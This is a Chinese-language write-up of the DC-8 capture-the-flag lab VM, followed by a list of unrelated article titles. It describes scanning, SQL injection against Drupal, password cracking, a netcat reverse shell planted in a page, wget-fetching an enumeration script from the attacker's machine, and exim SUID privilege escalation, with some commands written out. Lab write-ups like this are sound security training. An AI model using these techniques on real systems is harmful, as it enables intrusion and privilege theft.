靶机闯关 DC-8
靶机下载:
http://www.five86.com/dc-8.html
环境搭建: 导入虚拟机设置NAT。靶机DHCP已启用
开始渗透:
使用netdiscover二层扫描工具获取靶机IP为192.168.111.137后
使用nmap对靶机网络服务端口进行探测
nmap -A -p- 192.168.111.137
扫描发现开放了22和80端口,分别对应的服务是ssh和http,值得注意的是还发现了robots.txt,访问之
发现里面是Drupal 的一些安装文件,而且或获知的Drupal的版本
先目录扫描一波看看有没有一些敏感目录,发现user是一个管理登陆页面
gobuster dir -u http://192.168.111.137 -w /usr/share/wordlists/dirb/big.txt
访问80端口,测试了一些页面发现侧边选项栏的URL可能存在SQL注入
测试一些顺利爆出数据库,可惜的是权限不够高
接下来进一步获取,最后爆出两个管理员账号和密码,但是不是MD5加密,百度了一下应该是哈希加密
把两个hash密码保存到两个文件,使用john爆破
此时已经知道了登陆页面,使用管理账号密码登陆进去,发现有页面编辑
本来想着使用中国蚁剑连接shell的,但是连接下使用有点不顺畅,就使用netcat反弹一个shell
php代码修改到了Contact Us页面上,而且测试了一些要运行PHP代码是提交数据才行
使用python获取一个完全交互的shell,并且在本地传输一个linux辅助提权脚本
目标shell:python -c "import pty;pty.spawn('/bin/bash')"
wget http://192.168.111.128:8888/LinEnum.sh
kali:python -m SimpleHTTPServer 8888
赋予权限后执行,发现exim4在使用时具有root权限,那这可能是一个突破口
(SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。)
查阅版本,并且在kali上搜索关于版本的漏洞
searchsploit exim
现在看下脚本的利用方式,里面介绍了有两个使用方式,并且使用vim把shell的文件格式修改成unix
(如果脚本文件的格式不是unix的话,在linux上执行会报错,具体查阅https://blog.csdn.net/chenzhou123520/article/details/84410305)
修改之后把脚本文件下载到目标机器,给与执行权限使用第一种方式参数 setuid进行提权
但是提权失败了,这个时候使用第二种参数提权
可以看到已经获取到权限了,一般最后的flag都是在root里面,进入到root即可获取flag
最后收一下尾
- 高级盲注—floor,rand,group by报错注入
- 刷脸注册、试装、支付……仅靠一张脸就能买买买的时尚店开业了
- JavaScript引用类型之Array数组之强大的splice()方法
- Linux快速入门03-系统管理
- JavaScript引用类型之Array数组的concat()和push()方法的区别
- JavaScript引用类型之Array数组的排序方法
- Linux快速入门02-文件系统管理
- JavaScript引用类型之Array数组的toString()和valueof()方法的区别
- Linux快速入门04-扩展知识
- JavaScript引用类型之Array数组的拼接方法-concat()和截取方法-slice()
- JavaScript引用类型之Array数组的拼接方法-concat()和截取方法-slice()
- 比特币在2017全球新闻谷歌搜索中排名第二,韩国政府聚焦比特币市场诈骗和假冒交易所
- ExtJs学习笔记(13)_Card布局
- Html与CSS快速入门03-CSS基础应用
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Vue之插槽Slot理解
- Docker六脉神剑 (三) 编写Dockerfile构建nginx镜像并推送到远程仓库给其他人使用
- 快速学习UML类图查看
- 设计模式 | 抽象工厂模式
- 设计模式 | 单例模式
- macOS 安装软件已损坏无法打开解决办法 (真好用!)
- nginx 配置反向代理
- ES6新特性速查表
- React-Native Android打包
- React-Native iOS打包
- Webpack+Babel手把手带你搭建开发环境(内附配置文件)
- Redux 异步解决方案2. Redux-Saga中间件
- Redux异步解决方案 1. Redux-Thunk中间件
- 深度学习Pytorch检测实战 - Notes - 第1&2章 基础知识
- Java多线程编程在JMeter中应用